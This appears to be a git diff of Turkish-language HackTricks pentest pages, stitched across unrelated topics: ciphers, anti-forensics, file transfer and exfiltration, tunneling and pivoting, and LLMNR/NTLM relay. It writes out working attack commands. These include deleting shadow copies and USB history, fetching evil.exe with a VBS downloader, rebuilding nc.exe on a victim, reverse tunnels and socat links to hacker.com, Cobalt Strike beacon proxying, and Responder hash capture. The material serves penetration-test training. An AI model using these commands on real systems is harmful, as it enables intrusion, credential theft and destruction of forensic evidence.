Kodlanmış verilerin çoğu bu 2 kaynakla çözülebilir:
|
||||
|
||||
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
|
||||
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
@ -154,8 +154,6 @@ end
|
||||
ryvkryvkryvkryvkryvkryvkryvk
|
||||
=yend size=28 crc32=35834c86
|
||||
```
|
||||
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
|
||||
|
||||
### BinHex
|
||||
```
|
||||
(This file must be converted with BinHex 4.0)
|
||||
@ -192,9 +190,9 @@ krodfdudfrod
|
||||
|
||||
**Multitap** [bir harfi](https://www.dcode.fr/word-letter-change) mobil [telefon tuş takımı](https://www.dcode.fr/phone-keypad-cipher) üzerindeki karşılık gelen tuş kodu ile tanımlanan tekrar eden rakamlarla değiştirir (Bu mod SMS yazarken kullanılır).\
|
||||
Örneğin: 2=A, 22=B, 222=C, 3=D...\
|
||||
Bu kodu tanıyabilirsiniz çünkü\*\* birkaç rakamın tekrarlandığını\*\* göreceksiniz.
|
||||
Bu kodu tanıyabilirsiniz çünkü **birden fazla rakamın tekrarlandığını** göreceksiniz.
|
||||
|
||||
Bu kodu şuradan çözebilirsiniz: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
Bu kodu şurada çözebilirsiniz: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
### Bacon Kodu
|
||||
|
||||
@ -207,19 +205,19 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
||||
|
||||

|
||||
|
||||
## Compression
|
||||
## Sıkıştırma
|
||||
|
||||
**Raw Deflate** ve **Raw Inflate** (her ikisini de Cyberchef'te bulabilirsiniz) başlık olmadan verileri sıkıştırabilir ve açabilir.
|
||||
|
||||
## Easy Crypto
|
||||
## Kolay Kripto
|
||||
|
||||
### XOR - Autosolver
|
||||
### XOR - Otomatik Çözücü
|
||||
|
||||
- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
|
||||
|
||||
### Bifid
|
||||
|
||||
Bir anahtar kelime gereklidir.
|
||||
Bir anahtar kelime gereklidir
|
||||
```
|
||||
fgaargaamnlunesuneoa
|
||||
```
|
||||
@ -249,7 +247,7 @@ Key:
|
||||
|
||||
### Samir Gizli Paylaşımı
|
||||
|
||||
Bir gizli bilgi X parçaya bölünür ve onu geri kazanmak için Y parçaya ihtiyacınız vardır (_Y <=X_).
|
||||
Bir gizli X parçaya bölünür ve onu geri almak için Y parçaya ihtiyacınız vardır (_Y <=X_).
|
||||
```
|
||||
8019f8fa5879aa3e07858d08308dc1a8b45
|
||||
80223035713295bddf0b0bd1b10a5340b89
|
||||
|
||||
@ -3,15 +3,15 @@
|
||||
# Zaman Damgaları
|
||||
|
||||
Bir saldırgan, **dosyaların zaman damgalarını değiştirmekle** ilgilenebilir.\
|
||||
Zaman damgalarını, MFT içinde `$STANDARD_INFORMATION` **ve** `$FILE_NAME` özniteliklerinde bulmak mümkündür.
|
||||
Zaman damgalarını, `$STANDARD_INFORMATION`**ve**`$FILE_NAME` öznitelikleri içinde MFT'de bulmak mümkündür.
|
||||
|
||||
Her iki öznitelik de 4 zaman damgasına sahiptir: **Değiştirme**, **erişim**, **oluşturma** ve **MFT kayıt değişikliği** (MACE veya MACB).
|
||||
Her iki öznitelikte de 4 zaman damgası vardır: **Değiştirme**, **erişim**, **oluşturma** ve **MFT kayıt değişikliği** (MACE veya MACB).
|
||||
|
||||
**Windows Gezgini** ve diğer araçlar, **`$STANDARD_INFORMATION`** içindeki bilgileri gösterir.
|
||||
|
||||
## TimeStomp - Anti-forensic Aracı
|
||||
|
||||
Bu araç, **`$STANDARD_INFORMATION`** içindeki zaman damgası bilgilerini **değiştirir** **ancak** **`$FILE_NAME`** içindeki bilgileri **değiştirmez**. Bu nedenle, **şüpheli** **etkinlikleri** **belirlemek** mümkündür.
|
||||
Bu araç, **`$STANDARD_INFORMATION`** içindeki zaman damgası bilgilerini **değiştirir** **ama** **`$FILE_NAME`** içindeki bilgileri **değiştirmez**. Bu nedenle, **şüpheli** **etkinlikleri** **belirlemek** mümkündür.
|
||||
|
||||
## Usnjrnl
|
||||
|
||||
@ -19,7 +19,7 @@ Bu araç, **`$STANDARD_INFORMATION`** içindeki zaman damgası bilgilerini **de
|
||||
|
||||
.png>)
|
||||
|
||||
Önceki görüntü, dosya üzerinde bazı **değişikliklerin yapıldığını** gözlemleyebileceğimiz **aracın** gösterdiği **çıktıdır**.
|
||||
Önceki resim, dosya üzerinde bazı **değişikliklerin yapıldığını** gözlemleyebileceğimiz **aracın** gösterdiği **çıktıdır**.
|
||||
|
||||
## $LogFile
|
||||
|
||||
@ -52,7 +52,7 @@ Bu araç, hem `$STARNDAR_INFORMATION` hem de `$FILE_NAME` özniteliklerini deği
|
||||
|
||||
# Veri Gizleme
|
||||
|
||||
NFTS, bir küme ve minimum bilgi boyutu kullanır. Bu, bir dosya bir buçuk küme kaplıyorsa, **kalan yarının asla kullanılmayacağı** anlamına gelir. Bu nedenle, bu boşlukta **veri gizlemek mümkündür**.
|
||||
NFTS, bir küme ve minimum bilgi boyutu kullanır. Bu, bir dosya bir buçuk küme kapladığında, **kalan yarımın asla kullanılmayacağı** anlamına gelir, ta ki dosya silinene kadar. Bu nedenle, bu boşlukta **veri gizlemek mümkündür**.
|
||||
|
||||
Slacker gibi, bu "gizli" alanda veri gizlemeye olanak tanıyan araçlar vardır. Ancak, `$logfile` ve `$usnjrnl` analizi, bazı verilerin eklendiğini gösterebilir:
|
||||
|
||||
@ -63,7 +63,7 @@ Bu nedenle, FTK Imager gibi araçlar kullanarak boş alanı geri almak mümkünd
|
||||
# UsbKill
|
||||
|
||||
Bu, **USB** portlarında herhangi bir değişiklik tespit edildiğinde bilgisayarı **kapatan** bir araçtır.\
|
||||
Bunu keşfetmenin bir yolu, çalışan süreçleri incelemek ve **her bir python betiğini gözden geçirmektir**.
|
||||
Bunu keşfetmenin bir yolu, çalışan süreçleri incelemek ve **her bir çalışan python betiğini gözden geçirmektir**.
|
||||
|
||||
# Canlı Linux Dağıtımları
|
||||
|
||||
@ -75,7 +75,7 @@ Bu dağıtımlar, **RAM** belleği içinde **çalıştırılır**. Onları tespi
|
||||
|
||||
# Windows Yapılandırması
|
||||
|
||||
Adli soruşturmayı çok daha zor hale getirmek için birçok Windows günlüğü yöntemini devre dışı bırakmak mümkündür.
|
||||
Adli soruşturmayı çok daha zor hale getirmek için birçok Windows günlükleme yöntemini devre dışı bırakmak mümkündür.
|
||||
|
||||
## Zaman Damgalarını Devre Dışı Bırak - UserAssist
|
||||
|
||||
@ -102,27 +102,27 @@ Bir NTFS hacminden bir klasör açıldığında, sistem, listedeki her klasör i
|
||||
|
||||
1. Kayıt Defteri Düzenleyicisini (Regedit.exe) açın.
|
||||
2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem` yoluna gidin.
|
||||
3. `NtfsDisableLastAccessUpdate` anahtarını arayın. Eğer yoksa, bu DWORD'u ekleyin ve değerini 1 olarak ayarlayın, bu işlem devre dışı bırakılacaktır.
|
||||
3. `NtfsDisableLastAccessUpdate`'i arayın. Eğer yoksa, bu DWORD'u ekleyin ve değerini 1 olarak ayarlayın, bu işlemi devre dışı bırakacaktır.
|
||||
4. Kayıt Defteri Düzenleyicisini kapatın ve sunucuyu yeniden başlatın.
|
||||
|
||||
## USB Geçmişini Sil
|
||||
|
||||
Tüm **USB Aygıt Girişleri**, bir USB Aygıtını PC veya dizüstü bilgisayarınıza taktığınızda oluşturulan alt anahtarları içeren **USBSTOR** kayıt anahtarı altında Windows Kayıt Defteri'nde saklanır. Bu anahtarı burada bulabilirsiniz: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Bunu silerek**, USB geçmişini sileceksiniz.\
|
||||
Ayrıca, silindiğinizden emin olmak için [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) aracını kullanabilirsiniz (ve silmek için).
|
||||
Tüm **USB Aygıt Girişleri**, bir USB Aygıtını PC veya Dizüstü Bilgisayarınıza taktığınızda oluşturulan alt anahtarları içeren **USBSTOR** kayıt anahtarı altında Windows Kayıt Defteri'nde saklanır. Bu anahtarı burada bulabilirsiniz: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Bunu silerek** USB geçmişini sileceksiniz.\
|
||||
Ayrıca, bunları sildiğinizden emin olmak için [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) aracını da kullanabilirsiniz (ve silmek için).
|
||||
|
||||
USB'ler hakkında bilgi kaydeden bir diğer dosya, `C:\Windows\INF` içindeki `setupapi.dev.log` dosyasıdır. Bu dosya da silinmelidir.
|
||||
|
||||
## Gölge Kopyalarını Devre Dışı Bırak
|
||||
|
||||
**Gölge kopyaları listeleyin**: `vssadmin list shadowstorage`\
|
||||
**Silin**: `vssadmin delete shadow`
|
||||
**Gölge kopyaları** listelemek için `vssadmin list shadowstorage`\
|
||||
**Silmek** için `vssadmin delete shadow` komutunu çalıştırın.
|
||||
|
||||
Ayrıca, [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) adresinde önerilen adımları izleyerek GUI üzerinden de silebilirsiniz.
|
||||
|
||||
Gölge kopyalarını devre dışı bırakmak için [buradaki adımları](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows) izleyebilirsiniz:
|
||||
Gölge kopyalarını devre dışı bırakmak için [buradaki adımları](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows) izleyin:
|
||||
|
||||
1. Windows başlat düğmesine tıkladıktan sonra metin arama kutusuna "services" yazarak Hizmetler programını açın.
|
||||
2. Listeden "Volume Shadow Copy"yi bulun, seçin ve sağ tıklayarak Özellikler'e erişin.
|
||||
2. Listeden "Hacim Gölge Kopyası"nı bulun, seçin ve sağ tıklayarak Özellikler'e erişin.
|
||||
3. "Başlangıç türü" açılır menüsünden Devre Dışı seçeneğini seçin ve ardından değişikliği onaylamak için Uygula ve Tamam'a tıklayın.
|
||||
|
||||
Hangi dosyaların gölge kopyasında kopyalanacağını yapılandırmayı da kayıt defterinde `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` ile değiştirmek mümkündür.
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Bilgi sızdırmak için yaygın olarak beyaz listeye alınmış alanlar
|
||||
|
||||
Sıkça beyaz listeye alınmış ve kötüye kullanılabilecek alanları bulmak için [https://lots-project.com/](https://lots-project.com/) adresini kontrol edin.
|
||||
Sıkça kötüye kullanılabilecek beyaz listeye alınmış alanları bulmak için [https://lots-project.com/](https://lots-project.com/) adresini kontrol edin.
|
||||
|
||||
## Copy\&Paste Base64
|
||||
|
||||
@ -150,7 +150,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
||||
#For new Win10 versions
|
||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||
```
|
||||
Veya **samba** kullanarak bir smb paylaşımı oluşturun:
|
||||
Ya da **samba** kullanarak bir smb paylaşımı oluşturun:
|
||||
```bash
|
||||
apt-get install samba
|
||||
mkdir /tmp/smb
|
||||
@ -296,14 +296,18 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
||||
```
|
||||
## Debug.exe
|
||||
|
||||
`debug.exe` programı yalnızca ikili dosyaların incelenmesine izin vermekle kalmaz, aynı zamanda **hex'ten yeniden inşa etme yeteneğine de sahiptir**. Bu, bir ikilinin hex'ini sağlayarak, `debug.exe`'nin ikili dosyayı oluşturabileceği anlamına gelir. Ancak, debug.exe'nin **64 kb boyutuna kadar dosyaları birleştirme sınırlaması** olduğunu belirtmek önemlidir.
|
||||
`debug.exe` programı yalnızca ikili dosyaların incelenmesine izin vermekle kalmaz, aynı zamanda **hex'ten yeniden inşa etme yeteneğine de sahiptir**. Bu, bir ikilinin hex'ini sağlayarak, `debug.exe`'nin ikili dosya oluşturabileceği anlamına gelir. Ancak, debug.exe'nin **64 kb boyutuna kadar dosyaları birleştirme sınırlaması** olduğunu belirtmek önemlidir.
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
Sonra metni windows-shell'e kopyalayıp yapıştırın ve nc.exe adında bir dosya oluşturulacaktır.
|
||||
Sonra metni windows-shell'e kopyala-yapıştır yap ve nc.exe adında bir dosya oluşturulacak.
|
||||
|
||||
- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||
|
||||
## DNS
|
||||
|
||||
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -51,7 +51,7 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
|
||||
```
|
||||
### Port2hostnet (proxychains)
|
||||
|
||||
Yerel Port --> Ele geçirilmiş host (SSH) --> Herhangi bir yer
|
||||
Yerel Port --> Ele geçirilmiş host (SSH) --> Herhangi bir yere
|
||||
```bash
|
||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||
```
|
||||
@ -68,7 +68,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
```
|
||||
### VPN-Tüneli
|
||||
|
||||
Her iki cihazda da **root erişimine** ihtiyacınız var (çünkü yeni arayüzler oluşturacaksınız) ve sshd yapılandırması root girişine izin vermelidir:\
|
||||
Her iki cihazda da **root erişimine** ihtiyacınız var (çünkü yeni arayüzler oluşturacaksınız) ve sshd yapılandırmasının root girişine izin vermesi gerekiyor:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
|
||||
### SOCKS proxy
|
||||
|
||||
Trafiği **beacon üzerinden yönlendirmek** için kullanılabilecek tüm arayüzlerde teamserver'da bir port açın.
|
||||
Tüm arayüzlerde dinleyen bir port açın, bu port **beacon üzerinden trafiği yönlendirmek için** kullanılabilir.
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
@ -145,7 +145,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
||||
### rPort2Port
|
||||
|
||||
> [!WARNING]
|
||||
> Bu durumda, **port beacon host'ta açılır**, Team Server'da değil ve trafik Team Server'a gönderilir ve oradan belirtilen host:port'a iletilir.
|
||||
> Bu durumda, **port beacon ana bilgisayarında açılır**, Team Server'da değil ve trafik Team Server'a gönderilir ve oradan belirtilen host:port'a iletilir.
|
||||
```bash
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
rportfwd stop [bind port]
|
||||
@ -153,14 +153,14 @@ rportfwd stop [bind port]
|
||||
Not edilmesi gerekenler:
|
||||
|
||||
- Beacon'ın ters port yönlendirmesi, **bireysel makineler arasında iletim için değil, Team Server'a trafik tünellemek için tasarlanmıştır**.
|
||||
- Trafik, **Beacon'ın C2 trafiği içinde tünellenir**, P2P bağlantıları dahil.
|
||||
- Trafik, **Beacon'ın C2 trafiği içinde tünellenir**, P2P bağlantıları da dahil.
|
||||
- Yüksek portlarda ters port yönlendirmeleri oluşturmak için **yönetici ayrıcalıkları gerekmez**.
|
||||
|
||||
### rPort2Port yerel
|
||||
|
||||
> [!WARNING]
|
||||
> Bu durumda, **port beacon ana bilgisayarında açılır**, Team Server'da değil ve **trafik Cobalt Strike istemcisine gönderilir** (Team Server'a değil) ve oradan belirtilen host:port'a iletilir.
|
||||
```
|
||||
```bash
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
rportfwd_local stop [bind port]
|
||||
```
|
||||
@ -237,7 +237,7 @@ interface_add_route --name "ligolo" --route 240.0.0.1/32
|
||||
|
||||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||
|
||||
Ters tünel. Tünel, kurban tarafından başlatılır.\
|
||||
Ters tünel. Tünel kurban tarafından başlatılır.\
|
||||
127.0.0.1:1080 adresinde bir socks4 proxy oluşturulur.
|
||||
```bash
|
||||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||||
@ -246,7 +246,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||||
```
|
||||
**NTLM proxy** üzerinden geçiş yapma
|
||||
**NTLM proxy** üzerinden geçiş yapın
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||||
```
|
||||
@ -286,7 +286,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
||||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||
#Execute the meterpreter
|
||||
```
|
||||
**Kimlik doğrulaması yapılmamış bir proxy'yi** atlamak için, kurbanın konsolundaki son satır yerine bu satırı çalıştırabilirsiniz:
|
||||
Bir **kimlik doğrulaması yapılmamış proxy**'yi, kurbanın konsolundaki son satırın yerine bu satırı çalıştırarak atlayabilirsiniz:
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
@ -320,9 +320,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||
```
|
||||
## Plink.exe
|
||||
|
||||
Bu, bir konsol PuTTY versiyonuna benzer (seçenekler, bir ssh istemcisine çok benzer).
|
||||
Konsol PuTTY versiyonu gibidir (seçenekler bir ssh istemcisine çok benzer).
|
||||
|
||||
Bu ikili dosya kurban üzerinde çalıştırılacağından ve bir ssh istemcisi olduğundan, ters bağlantı kurabilmemiz için ssh hizmetimizi ve portumuzu açmamız gerekiyor. Ardından, yalnızca yerel olarak erişilebilir bir portu makinemizdeki bir porta yönlendirmek için:
|
||||
Bu ikili dosya kurban üzerinde çalıştırılacağı için ve bir ssh istemcisi olduğu için, ters bağlantı kurabilmemiz için ssh hizmetimizi ve portumuzu açmamız gerekiyor. Ardından, yalnızca yerel olarak erişilebilir bir portu makinemizdeki bir porta yönlendirmek için:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
@ -343,7 +343,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
```
|
||||
## SocksOverRDP & Proxifier
|
||||
|
||||
**Sisteme RDP erişiminiz olmalıdır.**\
|
||||
**Sisteme RDP erişiminiz olmalıdır**.\
|
||||
İndirin:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Bu araç, Windows'un Uzak Masaüstü Servisi özelliğinden `Dynamic Virtual Channels` (`DVC`) kullanır. DVC, **RDP bağlantısı üzerinden paketleri tünellemekten** sorumludur.
|
||||
@ -354,9 +354,9 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Artık **`mstsc.exe`** kullanarak **RDP** üzerinden **kurban** ile **bağlanabiliriz** ve **SocksOverRDP eklentisinin etkin olduğu** belirten bir **istem** alacağız ve bu **127.0.0.1:1080** adresinde **dinleyecektir**.
|
||||
Artık **`mstsc.exe`** kullanarak **RDP** üzerinden **kurban** ile **bağlanabiliriz** ve **SocksOverRDP eklentisinin etkin olduğu** belirten bir **istem** alacağız, bu **127.0.0.1:1080** adresinde **dinleyecektir**.
|
||||
|
||||
**RDP** üzerinden **bağlanın** ve kurban makinesine `SocksOverRDP-Server.exe` ikilisini yükleyip çalıştırın:
|
||||
**RDP** üzerinden **bağlanın** ve kurban makinesine `SocksOverRDP-Server.exe` ikili dosyasını yükleyip çalıştırın:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
@ -383,7 +383,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Bir proxy'ye karşı kimlik doğrulaması yapar ve belirttiğiniz dış hizmete yönlendirilmiş olarak yerel olarak bir port bağlar. Ardından, bu port üzerinden tercih ettiğiniz aracı kullanabilirsiniz.\
|
||||
Bir proxy'ye karşı kimlik doğrulaması yapar ve belirttiğiniz dış hizmete yönlendirilmiş yerel bir port bağlar. Ardından, bu port üzerinden tercih ettiğiniz aracı kullanabilirsiniz.\
|
||||
Örneğin, 443 portunu yönlendirin.
|
||||
```
|
||||
Username Alice
|
||||
@ -399,7 +399,7 @@ Ayrıca, localhost:443'e bağlanan bir **meterpreter** kullanabilir ve saldırga
|
||||
|
||||
Microsoft tarafından oluşturulmuş bir ters proxy. Bunu burada bulabilirsiniz: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
||||
|
||||
## DNS Tünelleme
|
||||
## DNS Tunneling
|
||||
|
||||
### Iodine
|
||||
|
||||
@ -513,8 +513,8 @@ _Gerekirse kimlik doğrulama ve TLS eklemek de mümkündür._
|
||||
```
|
||||
#### HTTP çağrılarını dinleme
|
||||
|
||||
_XSS, SSRF, SSTI için faydalıdır ..._\
|
||||
stdout'dan veya HTTP arayüzünden [http://127.0.0.1:4040](http://127.0.0.1:4000) doğrudan.
|
||||
_XSS, SSRF, SSTI ... için faydalıdır._\
|
||||
Stdout'tan veya HTTP arayüzünden [http://127.0.0.1:4040](http://127.0.0.1:4000) doğrudan.
|
||||
|
||||
#### Dahili HTTP hizmetini tünelleme
|
||||
```bash
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# LLMNR, NBT-NS, mDNS/DNS ve WPAD Spoofing ve Relay Saldırıları
|
||||
# LLMNR, NBT-NS, mDNS/DNS ve WPAD ile Relay Saldırılarını Taklit Etme
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -8,14 +8,14 @@
|
||||
|
||||
- **LLMNR, NBT-NS ve mDNS**:
|
||||
- Microsoft ve diğer işletim sistemleri, DNS başarısız olduğunda yerel ad çözümlemesi için LLMNR ve NBT-NS kullanır. Benzer şekilde, Apple ve Linux sistemleri mDNS kullanır.
|
||||
- Bu protokoller, UDP üzerinden kimlik doğrulaması yapılmamış, yayın doğası nedeniyle dinlemeye ve sahtelemeye karşı hassastır.
|
||||
- Bu protokoller, UDP üzerinden kimlik doğrulaması yapılmamış, yayın doğası nedeniyle dinleme ve taklit edilme riski taşır.
|
||||
- [Responder](https://github.com/lgandx/Responder), bu protokolleri sorgulayan ana bilgisayarlara sahte yanıtlar göndererek hizmetleri taklit etmek için kullanılabilir.
|
||||
- Responder kullanarak hizmet taklitine dair daha fazla bilgi [burada](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) bulunabilir.
|
||||
|
||||
### Web Proxy Otomatik Keşif Protokolü (WPAD)
|
||||
|
||||
- WPAD, tarayıcıların proxy ayarlarını otomatik olarak keşfetmesine olanak tanır.
|
||||
- Keşif, DHCP, DNS veya DNS başarısız olursa LLMNR ve NBT-NS'ye geri dönerek sağlanır.
|
||||
- Keşif, DHCP, DNS veya DNS başarısız olursa LLMNR ve NBT-NS'ye geri dönerek gerçekleştirilir.
|
||||
- Responder, WPAD saldırılarını otomatikleştirerek istemcileri kötü niyetli WPAD sunucularına yönlendirebilir.
|
||||
|
||||
### Protokol Zehirleme için Responder
|
||||
@ -36,27 +36,27 @@
|
||||
|
||||
### Responder ile DHCP Zehirleme
|
||||
|
||||
- DHCP yanıtlarını sahtelemek, bir kurbanın yönlendirme bilgilerini kalıcı olarak zehirleyebilir ve ARP zehirlemesine göre daha gizli bir alternatif sunar.
|
||||
- DHCP yanıtlarını taklit etmek, bir kurbanın yönlendirme bilgilerini kalıcı olarak zehirleyebilir ve ARP zehirlemesine göre daha gizli bir alternatif sunar.
|
||||
- Hedef ağın yapılandırması hakkında kesin bilgi gerektirir.
|
||||
- Saldırıyı çalıştırma: `./Responder.py -I eth0 -Pdv`
|
||||
- Bu yöntem, NTLMv1/2 hash'lerini etkili bir şekilde yakalayabilir, ancak ağ kesintisini önlemek için dikkatli bir şekilde ele alınması gerekir.
|
||||
- Bu yöntem, NTLMv1/2 hash'lerini etkili bir şekilde yakalayabilir, ancak ağ kesintisini önlemek için dikkatli bir şekilde ele alınmalıdır.
|
||||
|
||||
### Responder ile Kimlik Bilgilerini Yakalama
|
||||
|
||||
- Responder, yukarıda belirtilen protokolleri kullanarak hizmetleri taklit edecek ve bir kullanıcı sahte hizmetlere karşı kimlik doğrulama yapmaya çalıştığında kimlik bilgilerini (genellikle NTLMv2 Challenge/Response) yakalayacaktır.
|
||||
- Responder, yukarıda belirtilen protokolleri kullanarak hizmetleri taklit edecek ve bir kullanıcı taklit edilen hizmetlere kimlik doğrulama yapmaya çalıştığında kimlik bilgilerini (genellikle NTLMv2 Challenge/Response) yakalayacaktır.
|
||||
- Daha kolay kimlik bilgisi kırma için NetNTLMv1'e düşürme veya ESS'yi devre dışı bırakma girişimleri yapılabilir.
|
||||
|
||||
Bu tekniklerin yasal ve etik bir şekilde uygulanması, uygun yetkilendirme sağlanması ve kesinti veya yetkisiz erişimden kaçınılması açısından kritik öneme sahiptir.
|
||||
|
||||
## Inveigh
|
||||
|
||||
Inveigh, Windows sistemleri için tasarlanmış bir penetrasyon test cihazı ve kırmızı takım aracı. Responder ile benzer işlevler sunarak sahteleme ve adam ortada saldırıları gerçekleştirir. Araç, bir PowerShell betiğinden C# ikili dosyasına evrim geçirmiştir ve [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) ve [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) ana sürümleridir. Ayrıntılı parametreler ve talimatlar [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) sayfasında bulunabilir.
|
||||
Inveigh, Windows sistemleri için tasarlanmış bir penetrasyon test cihazı ve kırmızı takım aracı. Responder ile benzer işlevsellikler sunarak taklit etme ve adam ortada saldırıları gerçekleştirmektedir. Araç, bir PowerShell betiğinden C# ikili dosyasına evrilmiştir ve [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) ve [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) ana sürümleridir. Ayrıntılı parametreler ve talimatlar [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) sayfasında bulunabilir.
|
||||
|
||||
Inveigh, PowerShell üzerinden çalıştırılabilir:
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
||||
```
|
||||
Veya bir C# ikili dosyası olarak çalıştırıldı:
|
||||
C# ikili dosyası olarak da çalıştırılabilir:
|
||||
```bash
|
||||
Inveigh.exe
|
||||
```
|
||||
@ -89,11 +89,11 @@ beacon> socks stop
|
||||
```
|
||||
### NTLM Relay Saldırısı için Diğer Araçlar
|
||||
|
||||
- **Metasploit**: Proxy'ler, yerel ve uzak ana bilgisayar ayrıntıları ile yapılandırılmıştır.
|
||||
- **Metasploit**: Proxiler, yerel ve uzak ana bilgisayar ayrıntıları ile yapılandırılmıştır.
|
||||
- **smbrelayx**: SMB oturumlarını iletmek ve komutları çalıştırmak veya arka kapılar dağıtmak için bir Python betiği.
|
||||
- **MultiRelay**: Belirli kullanıcıları veya tüm kullanıcıları iletmek, komutları çalıştırmak veya hash'leri dökmek için Responder paketinden bir araç.
|
||||
|
||||
Her araç, gerekirse bir SOCKS proxy üzerinden çalışacak şekilde yapılandırılabilir, dolaylı ağ erişimi ile bile saldırılara olanak tanır.
|
||||
Her bir araç, gerekirse bir SOCKS proxy üzerinden çalışacak şekilde yapılandırılabilir, dolaylı ağ erişimi ile bile saldırılara olanak tanır.
|
||||
|
||||
### MultiRelay İşlemi
|
||||
|
||||
|
||||
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Sadece **docker soketine erişiminiz** olduğu ve bunu **yetki yükseltmek** için kullanmak istediğiniz bazı durumlar vardır. Bazı eylemler çok şüpheli olabilir ve bunlardan kaçınmak isteyebilirsiniz, bu nedenle burada yetki yükseltmek için faydalı olabilecek farklı bayraklar bulabilirsiniz:
